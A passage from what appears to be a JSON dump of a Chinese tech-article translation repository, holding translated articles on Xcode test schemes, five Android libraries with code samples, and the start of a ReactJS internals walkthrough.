ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION() and ZEND_VM_JMP().\n\nHANDLE_EXCEPTION() is used to return from an opcode handler after you already know that an exception has been thrown. It\nperforms a combination of LOAD_OPLINE and CONTINUE, which will effectively dispatch to the HANDLE_EXCEPTION opcode.\n\nOf course, there are more macros (there are always more macros…), but this should cover the most important parts.\n\nIf you liked this article, you may want to [browse my other articles](http://nikic.github.io/) or\n            [follow me on Twitter](https://twitter.com/#!/nikita_ppv).\n        \n[blog comments powered by Disqus](http://disqus.com)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/Testing-Schemes.md",
    "content": ">* 原文链接 : [Using Xcode's Schemes to run a subset of your tests](http://artsy.github.io/blog/2016/04/06/Testing-Schemes/)\n* 原文作者 : [Orta Therox](http://artsy.github.io/author/orta/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Tuccuay](https://github.com/Tuccuay)\n* 校对者 : [Dwight](https://github.com/ldhlfzysys), [LoneyIsError](https://github.com/LoneyIsError)\n\n# 使用 Xcode 的 Scheme 来跑不同的测试集合\n\n[Eigen](https://github.com/artsy/eigen) 这个项目用来介绍测试集再好不过。这个项目在过去3年里，程序包的大小，复杂度和开发人员的数量都不断增加，这是积极的迹象。这种测试模式让我们对这些变化更加顺手。\n\n在我最快的计算机上，我们只需要等一分钟—— `Executed 1105 tests, with 1 failure (0 unexpected) in 43.221 (48.201) seconds` 来执行整个测试集。我觉得我可以只用 20 秒来完成，所以我研究了如何用 [AppCode](https://www.jetbrains.com/objc/) 处理运行测试，这份指南可以让你基于这个技术轻松的在 Xcode 里搭建起测试集。\n\n我曾经有一个 [点子](https://github.com/orta/life/issues/71) 在通常的测试中去节约时间，基于 [代码注入](http://artsy.github.io/blog/2016/03/05/iOS-Code-Injection/) ，但它并没有完全解决问题，我希望是时间密集型的，当时还没有完全达到要求。\n\n### 什么是 Schemes？\n\n> 一个 Xcode scheme 定义了编译集合中的若干 target，编译时的一些设置以及要执行的测试集合。\n>\n> 如果你想的话，你可以自定义若干个 schemes，但是你同一时刻只能运行一个。你可以定义 scheme 是保存于一个工程中，也就是 scheme 是否针对所有包含那个工程的 workspace，否则就只是针对此 workspace。当你选中了一个 scheme，你也就选择了一个运行目标（也就是选择的产品构建的硬件架构）。\n\n引用自 [Apple](https://developer.apple.com/library/ios/featuredarticles/XcodeConcepts/Concept-Schemes.html)。\n\n### 规划 Scheme\n\n这个测试测试集大概有 50 个单元测试，看起来像是这样：\n\n![Tests](http://artsy.github.io/images/2016-04-06-Testing-Schemes/tests.png)\n\n在你开始之前，你可能会说：“我只想做一些有关 Fairs 的测试”。因为我接下来的几天都将为了这个目标而努力。为了准备开始，我需要创建一个新的 Scheme。当你点击 Xcode 左上角的 Target / Sim 按钮的时候你就会看见这个 schemes。\n\n![Empty Scheme](http://artsy.github.io/images/2016-04-06-Testing-Schemes/empty_scheme.png)\n\n在我看来，当我们需要创建一个新的 scheme 的时候，Xcode 会 modal(译注：\"modal\" 是弹出浮窗) 出一个选择窗口，你可以在这个窗口里选择 App 的 target，当你选择好某一个 target 时，你就可以按下 `cmd + r` 来运行这个 target。\n\n![New Scheme](http://artsy.github.io/images/2016-04-06-Testing-Schemes/new_scheme.png)\n\n我给它起名叫 \"Artsy just for Fairs\"，因为我是唯一会看到它的人，所以我可以随意命名成我想要的。点击 \"OK\" 选择它，这个 modal 会被收起。你现在需要回到 target 选择，并且选择 \"Edit Schemes ...\" 来继续。\n\n![Edit Schemes](http://artsy.github.io/images/2016-04-06-Testing-Schemes/edit_schemes.png)\n\n### 做一些修正\n\n现在，在侧栏中点击 \"Test\"，现在你进入了 Schemes 测试编辑器。这将是你接下来要干活的地方。\n\n![Empty Edit Schemes](http://artsy.github.io/images/2016-04-06-Testing-Schemes/empty_edit_schemes.png)\n\n你需要点击 \"+\" 来把你的测试 Target 添加到 Scheme\n\n![Test Scheme](http://artsy.github.io/images/2016-04-06-Testing-Schemes/test_scheme.png)\n\n选择并 \"Add\" 你的 Targets。这样你的 target 就成功的被添加了，然后你需要点击向下箭头让他来显示所有单元测试。\n\n__来，给你表演个魔法__。按住 `alt` 并单击蓝色的标记框把测试 target 关闭。然后不按住 `alt` 再单击一次。这将会取消选择所有的类，这是所有 Mac 应用都可以进行的通用操作，所以不要在意。\n\n![Deselect All](http://artsy.github.io/images/2016-04-06-Testing-Schemes/deselect_all.png)\n\n这就意味这你可以去寻找你想要运行的类，对我来说，我想要运行关于 Fairs 的单元测试。\n\n![Just The Good Tests](http://artsy.github.io/images/2016-04-06-Testing-Schemes/just_the_good_tests.png)\n\n现在当我按下 `cmd + u` 就将指运行这些测试类。\n\n### 封装起来\n\n这意味着我可以以合理的步调继续我的工作了。`Executed 15 tests, with 0 failures (0 unexpected) in 0.277 (0.312) seconds`。现在我可以在我泡一杯茶的时间内运行一遍完整的单元测试集了。\n\n__额外提醒__：如果你不想用鼠标来改变 scheme，这些 [快捷键](http://artsy.github.io/images/2016-04-06-Testing-Schemes/next_prev.png) 可以让你在 scheme 之间上(``cmd + ctrl + [``)下(`cmd + ctrl + ]`)切换。\n"
  },
  {
    "path": "TODO/Top-5-Android-libraries-every-Android-developer-should-know-about.md",
    "content": "> * 原文链接 : [Top 5 Android libraries every Android developer should know about - v. 2015](https://infinum.co/the-capsized-eight/articles/top-five-android-libraries-every-android-developer-should-know-about-v2015)\n* 原文作者 : [Infinum](https://infinum.co/the-capsized-eight/author/ivan-kust)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Kassadin](https://github.com/kassadin)\n* 校对者: [xiuweikang](https://github.com/xiuweikang) [lihb](https://github.com/lihb)\n* 状态 : \n\n# 2015 年度 Android 开发者必备的 5 个开源库\n\n在2014年6月，我们发表了一篇关于[5 个顶级 Android 开源库](https://infinum.co/the-capsized-eight/articles/top-5-android-libraries-every-android-developer-should-know-about)的文章，我们一直在用，并且相信每个 Android 开发者都应该了解这些开源库。从那之后，Android 方面已经发生了很多变化，所以我们写了这篇文章，我们最喜欢的5个开源库的更新版。\n\n下面是更新列表:\n\n![Top 5 Android libraries](https://s3.amazonaws.com/infinum.web.production/repository_items/files/000/000/308/original/top_5_android_libraries.png?1402486321)\n\n## 1\\. [Retrofit](https://github.com/square/retrofit/tree/version-one)\n\n当涉及到实现 REST APIs 时，Retrofit 仍是我们的最爱。\n\n他们的网站上写着: “Retrofit 将 REST API 转换为 Java 接口。”是的，还有其他解决方案，但是 Retrofit 已经被证明是在一个项目中管理 API 调用最优雅、最方便的解决方案。使用注解添加请求方法和相对地址使得代码干净简单。\n\n通过注解，你可以轻松地添加请求体，操作 URL 或请求头并添加查询参数。\n\n为方法添加返回类型会使该方法同步执行，然而添加Callback（回调）会使之异步执行，完成后回调 success 或 failure 方法。\n\n```java\npublic interface RetrofitInterface {\n\n    // 异步带回调\n    @GET(\"/api/user\")\n    User getUser(@Query(\"user_id\") int userId, Callback<User> callback);\n\n    // 同步\n    @POST(\"/api/user/register\")\n    User registerUser(@Body User user);\n}\n\n\n// 例子\nRetrofitInterface retrofitInterface = new RestAdapter.Builder()\n            .setEndpoint(API.API_URL).build().create(RetrofitInterface.class);\n\n// 获取 id 为 2048 的用户\nretrofitInterface.getUser(2048, new Callback<User>() {\n    @Override\n    public void success(User user, Response response) {\n\n    }\n\n    @Override\n    public void failure(RetrofitError retrofitError) {\n\n    }\n});\n```\n\nRetrofit 默认使用 [Gson](https://code.google.com/p/google-gson/)，所以不需要手动解析 JSON。当然其他的转换器也是支持的。\n\n现在 Retrofit 2.0 正在活跃地开发着，仍然是 beta，但你可以从[这里](http://square.github.io/retrofit/)获取到。从 Retrofit 1.9 开始，很多的东西都被砍了，也有一些重大的变化比如使用新的调用接口取代回调。\n\n## 2\\. [DBFlow](https://github.com/Raizlabs/DBFlow)\n\n如果你正准备在你的项目中存储任意复杂的数据，你应该使用 DBFlow。正如他们的 GitHub 上所说，这是“一个速度极快，功能强大，而且非常简单的 Android 数据库 ORM 库，为你编写数据库代码”。\n\n一些简单的栗子:\n\n```java\n// Query a List\nnew Select().from(SomeTable.class).queryList();\nnew Select().from(SomeTable.class).where(conditions).queryList();\n\n// Query Single Model\nnew Select().from(SomeTable.class).querySingle();\nnew Select().from(SomeTable.class).where(conditions).querySingle();\n\n// Query a Table List and Cursor List\nnew Select().from(SomeTable.class).where(conditions).queryTableList();\nnew Select().from(SomeTable.class).where(conditions).queryCursorList();\n\n// SELECT methods\nnew Select().distinct().from(table).queryList();\nnew Select().all().from(table).queryList();\nnew Select().avg(SomeTable$Table.SALARY).from(SomeTable.class).queryList();\nnew Select().method(SomeTable$Table.SALARY, \"MAX\").from(SomeTable.class).queryList();\n\n```\n\nDBFlow 是一个不错的 ORM，这将消除大量用于处理数据库的样板代码。虽然 Android 也有其他的 ORM 方案，但对我们来说 DBFlow 已被证明是最好的解决方案。\n\n## 3\\. [Glide](https://github.com/bumptech/glide)\n\nGlide 是一个用于加载图片的库。当前备选方案有 [Universal Image Loader](https://github.com/nostra13/Android-Universal-Image-Loader) 和 [Picasso](https://github.com/square/picasso)；但是，以我来看，Glide 是当前的最佳选择。\n\n下面是一个简单的例子，关于如何使用 Glide 从 URL 加载图片到 ImageView。\n\n```java\nImageView imageView = (ImageView) findViewById(R.id.my_image_view);\n\nGlide.with(this).load(\"http://goo.gl/gEgYUd\").into(imageView);\n\n```\n\n\n## 4\\. [Butterknife](http://jakewharton.github.io/butterknife/)\n\n一个用于将 Android 视图绑定到属性和方法的库（例如，绑定一个 view 的 OnClick 事件到一个方法）。较之前版本而言，基本功能没有变化，但可选项增加了。栗子：\n\n```java\nclass ExampleActivity extends Activity {\n  @Bind(R.id.title) TextView title;\n  @Bind(R.id.subtitle) TextView subtitle;\n  @Bind(R.id.footer) TextView footer;\n\n  @Override public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.simple_activity);\n    ButterKnife.bind(this);\n    // TODO Use fields...\n  }\n}\n\n```\n\n\n## 5\\. [Dagger 2](http://google.github.io/dagger/)\n\n自从我们迁移到 MVP 架构，我们就开始了广泛使用依赖注入。Dagger 2 是著名的依赖注入库 Dagger 的继承者，我们强烈推荐它。\n\n一个主要的改进就是生成的注入代码不再依赖反射，这使得调试容易了许多。\n\nDagger 为您创建类的实例，并满足他们的依赖。这依赖于 javax.inject.Inject 注解，以确定哪些构造函数或字段应被视为依赖。以著名的咖啡机(CoffeeMaker)为例:\n\n> 译者注：Dagger 和 Dagger 2 的官方文档里都是使用这个例子，所以著名…\n\n```java\nclass Thermosiphon implements Pump {\n  private final Heater heater;\n\n  @Inject\n  Thermosiphon(Heater heater) {\n    this.heater = heater;\n  }\n\n  ...\n}\n```\n\n直接注入到字段的栗子：\n\n```java\nclass CoffeeMaker {\n  @Inject Heater heater;\n  @Inject Pump pump;\n\n  ...\n}\n\n```\n\n通过 modules 和 @Proivides 注解提供依赖(Dependencies)：\n\n```java\n@Module\nclass DripCoffeeModule {\n  @Provides Heater provideHeater() {\n    return new ElectricHeater();\n  }\n\n  @Provides Pump providePump(Thermosiphon pump) {\n    return pump;\n  }\n}\n\n```\n\n关于依赖注入本身，如果想获取更多信息，请查看 Dagger 2 主页或 [talk about Dagger 2 by Gregory Kick](https://www.youtube.com/watch?v=oK_XtfXPkqw)。\n\n### 附加链接\n\n[Android 周报](http://androidweekly.net/) 仍然是学习 Android 库最好的资源之一。这是关于Android开发的每周时事资讯。\n\n此外，下面是 Android 行业经常发关于 Android 开发文章的大咖们：\n\n[Jake Wharton](https://twitter.com/JakeWharton) [Chris Banes](https://twitter.com/chrisbanes) [Cyril Mottier](https://twitter.com/cyrilmottier) [Mark Murphy](https://twitter.com/commonsguy) [Mark Allison](https://twitter.com/MarkIAllison) [Reto Meier](https://twitter.com/retomeier)\n"
  },
  {
    "path": "TODO/Under-the-hood-ReactJS.md",
    "content": "\n  > * 原文地址：[Under-the-hood-ReactJS](https://github.com/Bogdan-Lyashenko/Under-the-hood-ReactJS)\n  >\n  > * 原文作者：[Bogdan-Lyashenko](https://github.com/Bogdan-Lyashenko)\n  >\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  >\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/Under-the-hood-ReactJS.md](https://github.com/xitu/gold-miner/blob/master/TODO/Under-the-hood-ReactJS.md)\n  >\n  > * 译者组：\n  >\n  >   | 译者                                       | 翻译章节                         |\n  >   | ---------------------------------------- | ---------------------------- |\n  >   | [Candy Zheng](https://github.com/blizzardzheng) | 3、4、5、14、8、9、10、11、12、14 |\n  >   | [undead25 ](https://github.com/undead25) | 主页、介绍、0                      |\n  >   | [Tina92](https://github.com/Tina92)      | 6、13                         |\n  >   | [HydeSong](https://github.com/HydeSong)  | 1                            |\n  >   | [bambooom](https://github.com/bambooom)  | 7                            |\n  >   | [ahonn](https://github.com/ahonn)        | 2                            |\n  >\n  > * 校对 / 语句优化：[laalaguer](https://github.com/laalaguer)\n  >\n  > * 整合长文:  [Candy Zheng](https://github.com/blizzardzheng)\n\n\n\n# ReactJS 底层揭秘\n本文包含 ReactJS 内部工作原理的说明。实际上，我在调试整个代码库时，将所有的逻辑放在可视化的流程图上，对它们进行分析，然后总结和解释主要的概念和方法。我已经完成了 Stack 版本，现在我在研究下一个版本 —— Fiber。\n\n> 通过 [github-pages 网站](https://bogdan-lyashenko.github.io/Under-the-hood-ReactJS/)来以最佳格式阅读.\n\n> 为了让它变得更好，如果你有任何想法，欢迎随时提 issue。\n\n每张流程图都可以通过点击在新的选项卡中打开，然后通过缩放使它适合阅读。在单独的窗口（选项卡）中保留文章和正在阅读的流程图，将有助于更容易地匹配文本和代码流。\n\n我们将在这里谈论 ReactJS 的两个版本，老版本使用的是 Stack 协调引擎，新版本使用的是 Fiber（你可能已经知道，React v16 已经正式发布了）。让我们先深入地了解（目前广泛使用的）React-Stack 的工作原理，并期待下 React-Fiber 带来的重大变革。我们使用 [React v15.4.2](https://github.com/facebook/react/tree/v15.4.2) 来解释“旧版 React”的工作原理。\n\n## 概览\n\n[![](https://raw.githubusercontent.com/xitu/Under-the-hood-ReactJS/translation/stack/images/intro/all-page-stack-reconciler-25-scale.jpg)](./stack/images/intro/all-page-stack-reconciler.svg)\n\n整个流程图分为 15 个部分，让我们开始学习历程吧。\n\n## 介绍\n\n### 初识流程图\n\n\n[![图 介绍-0：整体流程](https://github.com/xitu/Under-the-hood-ReactJS/raw/translation/stack/images/intro/all-page-stack-reconciler-25-scale.jpg)](../images/intro/all-page-stack-reconciler.svg)\n\n\n\n你可以先花点时间看下整体的流程。虽然看起来很复杂，但它实际上只描述了两个流程：(组件的)挂载和更新。我跳过了卸载，因为它是一种“反向挂载”，而且删除这部分简化了流程图。另外，**这图并不是100%** 同源代码匹配，而只是描述架构的主要部分。总体来说，它大概是源代码的 60%，而另外的 40% 没有多少视觉价值，为了简单起见，我省略了那部分。\n\n乍一看，你可能会注意到流程图中有很多颜色。每个逻辑项（流程图上的形状）都以其父模块的颜色高亮显示。例如，如果是从红色的 `模块 B` 调用 `方法 A`，那 `方法 A` 也是红色的。以下是流程图中模块的图例以及每个文件的路径。\n\n[![图 介绍-1：模块颜色](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-src-path.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-src-path.svg)\n\n\n\n让我们把它们放在一张流程图中，看看**模块之间的依赖关系**。\n\n[![图 介绍-2 模块依赖关系](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/files-scheme.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/files-scheme.svg)\n\n\n\n你可能知道，React 是为**支持多种环境**而构建的。\n- 移动端（**ReactNative**）\n- 浏览器（**ReactDOM**）\n- 服务端渲染\n- **ReactART**（使用 React 绘制矢量图形）\n- 其它\n\n因此，一些文件实际上比上面流程图中列出的要更大。以下是包含多环境支持的相同的流程图。\n\n[![介绍 图-3 多平台模块依赖关系](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-per-platform-scheme.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-per-platform-scheme.svg)\n\n\n\n如你所见，有些项似乎翻倍了。这表明它们对每个平台都有一个独立的实现。让我们来看一些简单例子，例如 ReactEventListener，显然，不同平台会有不同的实现。从技术上讲，你可以想象，这些依赖于平台的模块，应该以某种方式注入或连接到当前的逻辑流程中。实际上有很多这样的注入器，因为它们的用法是标准组合模式的一部分。同样，为了简单起见，我选择忽略它们。\n\n让我们来学习下**常规浏览器**中 **React DOM** 的逻辑流程。这是最常用的平台，并完全覆盖了所有 React 的架构设计理念。\n\n\n### 代码示例\n\n学习框架或者库的源码的最佳方式是什么？没错，研读并调试源码。那好，我们将要调试这**两个流程**：**ReactDOM.render** 和 **component.setState** 这两者对应了组件的挂载和更新。让我们来看一下我们能编写一些什么样的代码来开始学习。我们需要什么呢？或许几个具有简单渲染的小组件就可以了，因为更容易调试。\n\n```javascript\nclass ChildCmp extends React.Component {\n    render() {\n        return <div> {this.props.childMessage} </div>\n    }\n}\n\nclass ExampleApplication extends React.Component {\n    constructor(props) {\n        super(props);\n        this.state = {message: 'no message'};\n    }\n\n    componentWillMount() {\n        //...\n    }\n\n    componentDidMount() {\n        /* setTimeout(()=> {\n            this.setState({ message: 'timeout state message' });\n        }, 1000); */\n    }\n\n    shouldComponentUpdate(nextProps, nextState, nextContext) {\n        return true;\n    }\n\n    componentDidUpdate(prevProps, prevState, prevContext) {\n        //...\n    }\n\n    componentWillReceiveProps(nextProps) {\n        //...\n    }\n\n    componentWillUnmount() {\n        //...\n    }\n\n    onClickHandler() {\n        /* this.setState({ message: 'click state message' }); */\n    }\n\n    render() {\n        return <div>\n            <button onClick={this.onClickHandler.bind(this)}> set state button </button>\n            <ChildCmp childMessage={this.state.message} />\n            And some text as well!\n        </div>\n    }\n}\n\nReactDOM.render(\n    <ExampleApplication hello={'world'} />,\n    document.getElementById('container'),\n    function() {}\n);\n```\n\n我们已经准备好开始学习了。让我们先来分析流程图中的第一部分。一个接一个，我们会将它们全部分析完。\n\n## 第 0 部分\n\n[![图 0-0](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0.svg)\n\n\n\n### ReactDOM.render\n让我们从 ReactDOM.render 的调用开始。\n\n入口点是 ReactDom.render，我们的应用程序是从这里开始渲染到 DOM 中的。为了方便调试，我创建了一个简单的 `<ExampleApplication />` 组件。因此，发生的第一件事就是 **JSX 会被转换成 React 组件**。它们是简单的、直白的对象。具有简单的结构。它们仅仅展示从本组件渲染中返回的内容，没有其他了。一些字段应该是你已经熟悉的，像 props、key 和 ref。属性类型是指由 JSX 描述的标记对象。所以，在我们的例子中，它就是 `ExampleApplication` 类，但是它也可以仅仅是 Button 标签的 `button` 字符串等其他类。另外，在 React 组件创建过程中，它会将 `defaultProps` 与 `props` 合并（如果显式声明了），并验证 `propTypes`。\n\n更多详细信息可参考源码：`src\\isomorphic\\classic\\element\\ReactElement.js`。\n\n### ReactMount\n你可以看到一个叫做 `ReactMount`（01）的模块。它包含组件挂载的逻辑。实际上，在 `ReactDOM` 里面没有逻辑，它只是一个与`ReactMount` 一起使用的接口，所以当你调用 `ReactDOM.render` 的时候，实际上调用了 `ReactMount.render`。那“挂载”指的是什么呢？\n> 挂载是初始化 React 组件的过程。该过程通过创建组件所代表的 DOM 元素，并将它们插入到提供的 `container` 中来实现。\n\n至少源码中的注释是这样描述的。那这真实的含义是什么呢？好吧，让我们想象一下下方的转换：\n\n\n[![图 0-1 JSX 到 HTML](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-small.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-small.svg)\n\n\n\nReact 需要**将你的组件描述转换为 HTML** 以将其放入到 DOM 中。那怎样才能做到呢？没错，它需要处理所有的**属性、事件监听、内嵌的组件**和逻辑。它需要将你的高阶描述（组件）转换成实际可以放入到网页中的低阶数据（HTML）。这就是真正的挂载过程。\n\n\n[![图 0-2 JXS 到 HTML 2](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-big.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-big.svg)\n\n\n\n让我们继续深入下去。接下来是有趣的事实时间！是的，让我们在探索过程中添加一些有趣的东西，让它变得更“有趣”。\n\n> 有趣的事实：确保滚动正在监听（02）\n\n> 有趣的是，在第一次渲染根组件时，React 初始化滚动监听并缓存滚动值，以便应用程序代码可以访问它们而不触发重排。实际上，由于浏览器渲染机制的不同，一些 DOM 值不是静态的，因此每次在代码中使用它们时都会进行计算。当然，这会影响性能。事实上，这只影响了不支持`pageX` 和 `pageY` 的旧版浏览器。React 也试图优化这一点。可以看到，制作一个运行快速的工具需要使用很多技术，这个滚动就是一个很好的例子。\n\n### 实例化 React 组件\n\n看下流程图，在图中（03）处标明了一个创建的实例。在这里创建一个 `<ExampleApplication />` 的实例还为时过早。实际上该处实例化了 `TopLevelWrapper`（一个 React 内部的类）。让我们先来看看下面这个流程图。\n\n[![图 0-3 JSX 到 虚拟 DOM](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/jsx-to-vdom.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/jsx-to-vdom.svg)\n\n\n\n你可以看到有三个部分，JSX 会被转换为 React 内部三种组件类型中的一种：`ReactCompositeComponent`（我们自定义的组件），`ReactDOMComponent`（HTML 标签）和 `ReactDOMTextComponent`（文本节点）。我们将略过描述`ReactDOMTextComponent` 并将重点放在前两个。\n\n内部组件？这很有趣。你已经听说过 **虚拟 DOM** 了吧？虚拟 DOM 是一种 DOM 的表现形式。 React 用虚拟 DOM 进行组件差异计算等过程。该过程中无需直接操作 DOM 。这使得 React 在更新视图时候更快。但在 React 的源码中没有名为“Virtual DOM”的文件或者类。这是因为 虚拟DOM 只是一个概念，一种如何操作真实 DOM 的方法。所以，有些人说 虚拟DOM 元素等同于 React 组件，但在我看来，这并不完全正确。我认为虚拟 DOM 指的是这三个类：`ReactCompositeComponent`、`ReactDOMComponent` 和 `ReactDOMTextComponent`。后面你会知道到为什么。\n\n好了，让我们在这里完成实例化过程。我们将创建一个 `ReactCompositeComponent` 实例，但实际上这并不是因为我们把`<ExampleApplication />` 放在了 `ReactDOM.render` 里。React 总是从 `TopLevelWrapper` 开始渲染一棵组件的树。它几乎是一个空的包装器，其 `render` 方法（组件的 render）随后将返回 `<ExampleApplication />`。\n```javascript\n//src\\renderers\\dom\\client\\ReactMount.js#277\nTopLevelWrapper.prototype.render = function () {\n  return this.props.child;\n};\n\n```\n\n所以，目前为止只有 `TopLevelWrapper` 被创建了。但是……先看一下一个有趣的事实。\n> 有趣的事实：验证 DOM 内嵌套\n\n> 几乎每次内嵌的组件渲染时，都被一个专门用于进行 HTML 验证的 `validateDOMNesting` 模块验证。DOM 内嵌验证指的是 `子标签 -> 父标签` 的标签层级的验证。例如，如果父标签是 `<select>`，则子标签应该是以下其中一个标签：`option`、`optgroup` 或者 `＃text`。这些规则实际上是在 <https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-electlect> 中定义的。你可能已经看到过这个模块是如何工作的，它像这样报错：\n> <em> &lt;div&gt; cannot appear as a descendant of &lt;p&gt; </em>.\n\n\n### 小结\n\n让我们回顾一下上面的内容。再看一下流程图，然后删除多余的不太重要的部分，变成下面这样：\n\n[![图 0-4 简述](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0-A.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0-A.svg)\n\n\n\n再调整一下间距和对齐：\n\n[![图 0-5 简述和调整](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0-B.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0-B.svg)\n\n\n\n实际上，这就是本部分的所有内容。因此，我们可以从 **第 0 部分** 中得到重点，并将它用于最终的 `mounting` 流程中：\n\n[![图 0-6 重点](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0-C.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0-C.svg)\n\n## 第 1 部分\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/part-1.svg)\n\n<em>1.0 第 1 部分(点击查看大图)</em>\n\n### 事务\n\n某一组件实例应该以某种方式**连接入**React的生态系统，并对该系统**产生一些影响**。有一个专门的模块名为 `ReactUpdates` 专职于此。 正如大家所知, **React 以块形式执行更新**，这意味着它会收集一些操作然后**统一**执行。\n这样做更好，因为这样允许为整个块只应用一次某些**前置条件**和**后置条件**，而不是为块中的每个操作都应用。\n\n\n什么真正执行了这些前/后处理？对， **事务**！对某些人来说，**事务**可能是一个新术语，至少对UI方面来说是个新的含义。接下来我们从一个简单的例子开始再来谈一下它。\n\n想象一下 `通信信道`。你需要开启连接，发送消息，然后关闭连接。 如果你按这个方式逐个发送消息，就要每次发送消息的时候建立、关闭连接。不过，你也可以只开启一次连接，发送所有挂起的消息然后关闭连接。\n\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/communication-channel.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/communication-channel.svg)\n\n<em>1.1 非常真实的事务示例 (查看大图)</em>\n\n好的，让我们再想想更多抽象的东西。想象一下，在执行操作期间，“发送消息”是您要执行的任何操作，“打开/关闭连接”是预处理/后处理。 然后，再想想一下，你可以分别定义任何 open/close 对，并使用任何方法来使用它们（我们可以将它们命名为 `wrapper` ,因为事实上每一对都包装动作方法）。听起来很酷，不是吗？\n\n我们回到 React。 事务是 React 中广泛使用的模式。除了包装行为外，事务允许应用程序重置事务流，如果某事务已在进行中则阻止同时执行，等等。有很多不同的事务类，它们每个都描述具体的行为，它们都继承自`Transaction` 模块。事务类之间的主要区别是具体的事务包装器的列表的不同。包装器只是一个包含初始化和关闭方法的对象。\n\n所以，**我的想法是**：\n* 调用每个 wrapper.initialize 方法并缓存返回结果（可以进一步使用）\n* 调用事务方法本身\n* 调用每个 wrapper.close 方法\n\n[![](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/transaction.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/1/transaction.svg)\n\n<em>1.2 事务实现 (点击查看大图)</em>\n\n我们来看看 React 中的一些**其他事务用例**：\n* 在差分对比更新渲染步骤的前后，保留输入选取的范围，即使在发生意外错误的情况下也能保存。\n* 在重排DOM时，停用事件，防止模糊/焦点选中，同时保证事件系统在 DOM 重排后重新启动。\n* 在 worker 线程完成了差分对比更新算法后，将一组选定的 DOM 变化直接应该用到 UI 主线程上。\n* 在渲染新内容后触发任何收集到的 `componentDidUpdate` 回调。\n\n让我们回到具体案例。\n\n正如我们看到的， React 使用  `ReactDefaultBatchingStrategyTransaction` (1)。我们前文提到过，事务最重要的是它的包装器。所以，我们可以看看包装器，并弄清楚具体被定义的事务。好，这里有两个包装器：`FLUSH_BATCHED_UPDATES`，`RESET_BATCHED_UPDATES`。我们来看它们的代码：\n\n```javascript\n//\\src\\renderers\\shared\\stack\\reconciler\\ReactDefaultBatchingStrategy.js#19\nvar RESET_BATCHED_UPDATES = {\n\t  initialize: emptyFunction,\n\t  close: function() {\n\t\tReactDefaultBatchingStrategy.isBatchingUpdates = false;\n\t  },\n};\n\nvar FLUSH_BATCHED_UPDATES = {\n\t initialize: emptyFunction,\n\t close: ReactUpdates.flushBatchedUpdates.bind(ReactUpdates),\n}\n\nvar TRANSACTION_WRAPPERS = [FLUSH_BATCHED_UPDATES, RESET_BATCHED_UPDATES];\n```\n\n所以，你可以看看事务的写法。此代码中事务没有前置条件。 `initialize` 方法是空的,但其中一个 `close` 方法很有趣。它调用了`ReactUpdates.flushBatchedUpdates`。 这意味着什么? 它实际上对对脏组件的验证进一步重新渲染。所以，你理解了，对吗？我们调用 mount 方法并将其包装在这个事务中，因为在 mount 执行后，React 检查已加载的组件对环境有什么影响并执行相应的更新。\n\n我们来看看包装在该事务中的方法。 